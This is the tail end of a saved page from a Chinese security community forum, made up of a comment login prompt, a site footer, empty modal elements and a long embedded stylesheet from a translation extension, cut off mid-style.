<div class=col-md-12>
请先 <a class=a_unLogin href=https://forum.butian.net/login>登录</a> 后评论
</div>
</div>
<div class=text-center>
</div>
</div>
</div>
</div>
</div>
</div>
<footer id=footer>
<div class=container>
<div class=text-center>
<a href=https://forum.butian.net/>奇安信攻防社区</a><span class=span-line>|</span>
<a href=mailto:butian_report@qianxin.com target=_blank rel="noopenner noreferrer">联系我们</a><span class=span-line>|</span>
<a href=https://forum.butian.net/sitemap>sitemap</a>
</div>
<div class="copyright mt-10">
Copyright © 2013-2023 BUTIAN.NET 版权所有 <a href=https://beian.miit.gov.cn/#/Integrated/index>京ICP备18014330号-2</a>
</div>
</div>
</footer>
<div class="modal fade sf-hidden" id=sendTo_message_model tabindex=-1 role=dialog aria-labelledby=exampleModalLabel>
</div>
<div class="modal fade sf-hidden" id=send_report_model role=dialog aria-labelledby=exampleModalLabel>
</div> <div class="modal fade in sf-hidden" id=payment-qrcode-modal-article-4114 tabindex=-1 role aria-labelledby=exampleModalLabel aria-hidden=false>
</div>
<div style="display:none;position:fixed;top:40%;left:50%;z-index:9999;transform:translate(-50%,-50%);padding:3px 15px;border-radius:8px;background:rgba(120,120,120,0.7);box-shadow:1px 1px 3px 1px rgba(160,160,160,0.6);text-align:center;font-size:12px;color:#fff"></div><div id=windowLoading class="modal fade sf-hidden" tabindex=-1 role=dialog>
</div>
<span id=cnzz_stat_icon_1279782571></span>
<div class="geetest_panel geetest_wind" style=display:none></div><div id=immersive-translate-popup style=all:initial><template shadowrootmode=open><style class=sf-hidden>/*!
* Pico.css v1.5.6 (https://picocss.com)
* Copyright 2019-2022 - Licensed under MIT
*/#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:0.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:0.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:0.5rem;--nav-link-spacing-vertical:0.5rem;--nav-link-spacing-horizontal:0.5rem;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media (min-width:576px){#mount{--font-size:17px}}@media (min-width:768px){#mount{--font-size:18px}}@media (min-width:992px){#mount{--font-size:19px}}@media (min-width:1200px){#mount{--font-size:20px}}@media (min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media (min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media (min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media (min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media (min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:0.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:0.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#F5F7F9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-shadow:0 0 0 rgba(0,0,0,0);--button-hover-box-shadow:0 0 0 rgba(0,0,0,0);--form-element-background-color:transparent;--form-element-border-color:hsl(205deg,14%,68%);--form-element-color:var(--color);--form-element-placeholder-color:var(--muted-color);--form-element-active-background-color:transparent;--form-element-active-border-color:var(--primary);--form-element-focus-color:var(--primary-focus);--form-element-disabled-background-color:hsl(205deg,18%,86%);--form-element-disabled-border-color:hsl(205deg,14%,68%);--form-element-disabled-opacity:0.5;--form-element-invalid-border-color:#c62828;--form-element-invalid-active-border-color:#d32f2f;--form-element-invalid-focus-color:rgba(211,47,47,0.125);--form-element-valid-border-color:#388e3c;--form-element-valid-active-border-color:#43a047;--form-element-valid-focus-color:rgba(67,160,71,0.125);--switch-background-color:hsl(205deg,16%,77%);--switch-color:var(--primary-inverse);--switch-checked-background-color:var(--primary);--range-border-color:hsl(205deg,18%,86%);--range-active-border-color:hsl(205deg,16%,77%);--range-thumb-border-color:var(--background-color);--range-thumb-color:var(--secondary);--range-thumb-hover-color:var(--secondary-hover);--range-thumb-active-color:var(--primary);--table-border-color:var(--muted-border-color);--table-row-stripped-background-color:#f6f8f9;--code-background-color:hsl(205deg,20%,94%);--code-color:var(--muted-color);--code-kbd-background-color:var(--contrast);--code-kbd-color:var(--contrast-inverse);--code-tag-color:hsl(330deg,40%,50%);--code-property-color:hsl(185deg,40%,40%);--code-value-color:hsl(40deg,20%,50%);--code-comment-color:hsl(205deg,14%,68%);--accordion-border-color:var(--muted-border-color);--accordion-close-summary-color:var(--color);--accordion-open-summary-color:var(--muted-color);--card-background-color:var(--background-color);--card-border-color:var(--muted-border-color);--card-box-shadow:0.0145rem 0.029rem 0.174rem rgba(27,40,50,0.01698),0.0335rem 0.067rem 0.402rem rgba(27,40,50,0.024),0.0625rem 0.125rem 0.75rem rgba(27,40,50,0.03),0.1125rem 0.225rem 1.35rem rgba(27,40,50,0.036),0.2085rem 0.417rem 2.502rem rgba(27,40,50,0.04302),0.5rem 1rem 6rem rgba(27,40,50,0.06),0 0 0 0.0625rem rgba(27,40,50,0.015);--card-sectionning-background-color:#fbfbfc;--dropdown-background-color:#fbfbfc;--dropdown-border-color:#e1e6eb;--dropdown-box-shadow:var(--card-box-shadow);--dropdown-color:var(--color);--dropdown-hover-background-color:hsl(205deg,20%,94%);--modal-overlay-background-color:rgba(213,220,226,0.7);--progress-background-color:hsl(205deg,18%,86%);--progress-color:var(--primary);--loading-spinner-opacity:0.5;--tooltip-background-color:var(--contrast);--tooltip-color:var(--contrast-inverse);--icon-checkbox:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button-inverse:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-close:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(115,\ 130,\ 140\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'18\'\ y1=\'6\'\ x2=\'6\'\ y2=\'18\'%3E%3C/line%3E%3Cline\ x1=\'6\'\ y1=\'6\'\ x2=\'18\'\ y2=\'18\'%3E%3C/line%3E%3C/svg%3E);--icon-date:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Crect\ x=\'3\'\ y=\'4\'\ width=\'18\'\ height=\'18\'\ rx=\'2\'\ ry=\'2\'%3E%3C/rect%3E%3Cline\ x1=\'16\'\ y1=\'2\'\ x2=\'16\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'8\'\ y1=\'2\'\ x2=\'8\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'3\'\ y1=\'10\'\ x2=\'21\'\ y2=\'10\'%3E%3C/line%3E%3C/svg%3E);--icon-invalid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(198,\ 40,\ 40\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cline\ x1=\'12\'\ y1=\'8\'\ x2=\'12\'\ y2=\'12\'%3E%3C/line%3E%3Cline\ x1=\'12\'\ y1=\'16\'\ x2=\'12.01\'\ y2=\'16\'%3E%3C/line%3E%3C/svg%3E);--icon-minus:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'5\'\ y1=\'12\'\ x2=\'19\'\ y2=\'12\'%3E%3C/line%3E%3C/svg%3E);--icon-search:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'11\'\ cy=\'11\'\ r=\'8\'%3E%3C/circle%3E%3Cline\ x1=\'21\'\ y1=\'21\'\ x2=\'16.65\'\ y2=\'16.65\'%3E%3C/line%3E%3C/svg%3E);--icon-time:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(65,\ 84,\ 98\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cpolyline\ points=\'12\ 6\ 12\ 12\ 16\ 14\'%3E%3C/polyline%3E%3C/svg%3E);--icon-valid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(56,\ 142,\ 60\)\'\ stroke-width=\'3\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-share:url(data:image/svg+xml;charset=utf-8;base64,PHN2ZyB3aWR0aD0nMjQnIGhlaWdodD0nMjQnIHZpZXdCb3g9JzAgMCAyNCAyNCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJz48cGF0aCBkPSdNMTguOTM0OCA4LjY0ODQ0QzIwLjg5NDEgOC42NDg0NCAyMi40ODU1IDcuMDU0NjkgMjIuNDg1NSA1LjA5NzY2QzIyLjQ4NTUgMy4xNDA2MiAyMC44OTE4IDEuNTQ2ODggMTguOTM0OCAxLjU0Njg4QzE2Ljk3NTQgMS41NDY4OCAxNS4zODQgMy4xNDA2MiAxNS4zODQgNS4wOTc2NkMxNS4zODQgNS4yOTkyMiAxNS40MDA0IDUuNDkzNzUgMTUuNDMzMiA1LjY4NTk0TDcuMzIzODMgOS4zNTM5MUM2LjcwOTc3IDguODQ1MzEgNS45MjIyNyA4LjU0MDYyIDUuMDY0NDUgOC41NDA2MkMzLjEwNTA4IDguNTQwNjIgMS41MTM2NyAxMC4xMzQ0IDEuNTEzNjcgMTIuMDkxNEMxLjUxMzY3IDE0LjA0ODQgMy4xMDc0MiAxNS42NDIyIDUuMDY0NDUgMTUuNjQyMkM1LjgzMzIgMTUuNjQyMiA2LjU0NTcgMTUuMzk2MSA3LjEyNjk1IDE0Ljk4MTNMMTIuNDk0MSAxNy45OTUzQzEyLjQxNjggMTguMjg1OSAxMi4zNzcgMTguNTg4MyAxMi4zNzcgMTguOTAyM0MxMi4zNzcgMjAuODYxNyAxMy45NzA3IDIyLjQ1MzEgMTUuOTI3NyAyMi40NTMxQzE3Ljg4NzEgMjIuNDUzMSAxOS40Nzg1IDIwLjg1OTQgMTkuNDc4NSAxOC45MDIzQzE5LjQ3ODUgMTYuOTQzIDE3Ljg4NDggMTUuMzUxNiAxNS45Mjc3IDE1LjM1MTZDMTQuOTU3NCAxNS4zNTE2IDE0LjA3ODUgMTUuNzQzIDEzLjQzNjMgMTYuMzczNEw4LjMyMjI3IDEzLjUwNDdDOC41MDk3NyAxMy4wNzExIDguNjE1MjMgMTIuNTk1MyA4LjYxNTIzIDEyLjA5MzhDOC42MTUyMyAxMS42ODEyIDguNTQ0OTIgMTEuMjg3NSA4LjQxNjAyIDEwLjkxOTVMMTYuMjIzIDcuMzg3NUMxNi44NzQ2IDguMTU2MjUgMTcuODQ5NiA4LjY0ODQ0IDE4LjkzNDggOC42NDg0NFpNNS4wNjQ0NSAxMy43Njk1QzQuMTQxMDIgMTMuNzY5NSAzLjM4ODY3IDEzLjAxNzIgMy4zODg2NyAxMi4wOTM4QzMuMzg4NjcgMTEuMTcwMyA0LjE0MTAyIDEwLjQxOCA1LjA2NDQ1IDEwLjQxOEM1Ljk4Nzg5IDEwLjQxOCA2Ljc0MDIzIDExLjE3MDMgNi43NDAyMyAxMi4wOTM4QzYuNzQwMjMgMTMuMDE3MiA1Ljk4Nzg5IDEzLjc2OTUgNS4wNjQ0NSAxMy43Njk1Wk0xNS45Mjc3IDE3LjIyNjZDMTYuODUxMiAxNy4yMjY2IDE3LjYwMzUgMTcuOTc4OSAxNy42MDM1IDE4LjkwMjNDMTcuNjAzNSAxOS44MjU4IDE2Ljg1MTIgMjAuNTc4MSAxNS45Mjc3IDIwLjU3ODFDMTUuMDA0MyAyMC41NzgxIDE0LjI1MiAxOS44MjU4IDE0LjI1MiAxOC45MDIzQzE0LjI1MiAxNy45Nzg5IDE1LjAwMiAxNy4yMjY2IDE1LjkyNzcgMTcuMjI2NlpNMTguOTM0OCAzLjQxOTUzQzE5Ljg1ODIgMy40MTk1MyAyMC42MTA1IDQuMTcxODcgMjAuNjEwNSA1LjA5NTMxQzIwLjYxMDUgNi4wMTg3NSAxOS44NTgyIDYuNzcxMDkgMTguOTM0OCA2Ljc3MTA5QzE4LjAxMTMgNi43NzEwOSAxNy4yNTkgNi4wMTg3NSAxNy4yNTkgNS4wOTUzMUMxNy4yNTkgNC4xNzE4NyAxOC4wMTEzIDMuNDE5NTMgMTguOTM0OCAzLjQxOTUzWicgZmlsbD0nIzgzODM4MycvPjwvc3ZnPiA=);--float-ball-more-button-border-color:#F6F6F6;--float-ball-more-button-background-color:#FCFCFC;--float-ball-more-button-svg-color:#6C6F73;color-scheme:light;--service-bg-hover:#F7FAFF}@media only screen and (prefers-color-scheme:dark){#mount:not([data-theme="light"]){--background-color:#11191f;--background-light-green:#141e26;--color:hsl(205deg,16%,77%);--h1-color:hsl(205deg,20%,94%);--h2-color:#e1e6eb;--h3-color:hsl(205deg,18%,86%);--h4-color:#c8d1d8;--h5-color:hsl(205deg,16%,77%);--h6-color:#afbbc4;--muted-color:hsl(205deg,10%,50%);--muted-border-color:#1f2d38;--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,80%,50%);--primary-focus:rgba(16,149,193,0.25);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,10%,50%);--secondary-focus:rgba(115,130,140,0.25);--secondary-inverse:#fff;--contrast:hsl(205deg,20%,94%);--contrast-hover:#fff;--contrast-focus:rgba(115,130,140,0.25);--contrast-inverse:#000;--mark-background-color:#d1c284;--mark-color:#11191f;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-color);--button-box-shadow:0 0 0 rgba(0,0,0,0);--button-hover-box-shadow:0 0 0 rgba(0,0,0,0);--form-element-background-color:#11191f;--form-element-border-color:#374956;--form-element-color:var(--color);--form-element-placeholder-color:var(--muted-color);--form-element-active-background-color:var(--form-element-background-color);--form-element-active-border-color:var(--primary);--form-element-focus-color:var(--primary-focus);--form-element-disabled-background-color:hsl(205deg,25%,23%);--form-element-disabled-border-color:hsl(205deg,20%,32%);--form-element-disabled-opacity:0.5;--form-element-invalid-border-color:#b71c1c;--form-element-invalid-active-border-color:#c62828;--form-element-invalid-focus-color:rgba(198,40,40,0.25);--form-element-valid-border-color:#2e7d32;--form-element-valid-active-border-color:#388e3c;--form-element-valid-focus-color:rgba(56,142,60,0.25);--switch-background-color:#374956;--switch-color:var(--primary-inverse);--switch-checked-background-color:var(--primary);--range-border-color:#24333e;--range-active-border-color:hsl(205deg,25%,23%);--range-thumb-border-color:var(--background-color);--range-thumb-color:var(--secondary);--range-thumb-hover-color:var(--secondary-hover);--range-thumb-active-color:var(--primary);--table-border-color:var(--muted-border-color);--table-row-stripped-background-color:rgba(115,130,140,0.05);--code-background-color:#18232c;--code-color:var(--muted-color);--code-kbd-background-color:var(--contrast);--code-kbd-color:var(--contrast-inverse);--code-tag-color:hsl(330deg,30%,50%);--code-property-color:hsl(185deg,30%,50%);--code-value-color:hsl(40deg,10%,50%);--code-comment-color:#4d606d;--accordion-border-color:var(--muted-border-color);--accordion-active-summary-color:var(--primary);--accordion-close-summary-color:var(--color);--accordion-open-summary-color:var(--muted-color);--card-background-color:#141e26;--card-border-color:var(--card-background-color);--card-box-shadow:0.0145rem 0.029rem 0.174rem rgba(0,0,0,0.01698),0.0335rem 0.067rem 0.402rem rgba(0,0,0,0.024),0.0625rem 0.125rem 0.75rem rgba(0,0,0,0.03),0.1125rem 0.225rem 1.35rem rgba(0,0,0,0.036),0.2085rem 0.417rem 2.502rem rgba(0,0,0,0.04302),0.5rem 1rem 6rem rgba(0,0,0,0.06),0 0 0 0.0625rem rgba(0,0,0,0.015);--card-sectionning-background-color:#18232c;--dropdown-background-color:hsl(205deg,30%,15%);--dropdown-border-color:#24333e;--dropdown-box-shadow:var(--card-box-shadow);--dropdown-color:var(--color);--dropdown-hover-background-color:rgba(36,51,62,0.75);--modal-overlay-background-color:rgba(36,51,62,0.8);--progress-background-color:#24333e;--progress-color:var(--primary);--loading-spinner-opacity:0.5;--tooltip-background-color:var(--contrast);--tooltip-color:var(--contrast-inverse);--icon-checkbox:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 12\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-chevron-button-inverse:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(0,\ 0,\ 0\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'6\ 9\ 12\ 15\ 18\ 9\'%3E%3C/polyline%3E%3C/svg%3E);--icon-close:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(115,\ 130,\ 140\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'18\'\ y1=\'6\'\ x2=\'6\'\ y2=\'18\'%3E%3C/line%3E%3Cline\ x1=\'6\'\ y1=\'6\'\ x2=\'18\'\ y2=\'18\'%3E%3C/line%3E%3C/svg%3E);--icon-date:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Crect\ x=\'3\'\ y=\'4\'\ width=\'18\'\ height=\'18\'\ rx=\'2\'\ ry=\'2\'%3E%3C/rect%3E%3Cline\ x1=\'16\'\ y1=\'2\'\ x2=\'16\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'8\'\ y1=\'2\'\ x2=\'8\'\ y2=\'6\'%3E%3C/line%3E%3Cline\ x1=\'3\'\ y1=\'10\'\ x2=\'21\'\ y2=\'10\'%3E%3C/line%3E%3C/svg%3E);--icon-invalid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(183,\ 28,\ 28\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cline\ x1=\'12\'\ y1=\'8\'\ x2=\'12\'\ y2=\'12\'%3E%3C/line%3E%3Cline\ x1=\'12\'\ y1=\'16\'\ x2=\'12.01\'\ y2=\'16\'%3E%3C/line%3E%3C/svg%3E);--icon-minus:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(255,\ 255,\ 255\)\'\ stroke-width=\'4\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cline\ x1=\'5\'\ y1=\'12\'\ x2=\'19\'\ y2=\'12\'%3E%3C/line%3E%3C/svg%3E);--icon-search:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'11\'\ cy=\'11\'\ r=\'8\'%3E%3C/circle%3E%3Cline\ x1=\'21\'\ y1=\'21\'\ x2=\'16.65\'\ y2=\'16.65\'%3E%3C/line%3E%3C/svg%3E);--icon-time:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(162,\ 175,\ 185\)\'\ stroke-width=\'2\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Ccircle\ cx=\'12\'\ cy=\'12\'\ r=\'10\'%3E%3C/circle%3E%3Cpolyline\ points=\'12\ 6\ 12\ 12\ 16\ 14\'%3E%3C/polyline%3E%3C/svg%3E);--icon-valid:url(data:image/svg+xml,%3Csvg\ xmlns=\'http://www.w3.org/2000/svg\'\ width=\'24\'\ height=\'24\'\ viewBox=\'0\ 0\ 24\ 24\'\ fill=\'none\'\ stroke=\'rgb\(46,\ 125,\ 50\)\'\ stroke-width=\'3\'\ stroke-linecap=\'round\'\ stroke-linejoin=\'round\'%3E%3Cpolyline\ points=\'20\ 6\ 9\ 17\ 4\ 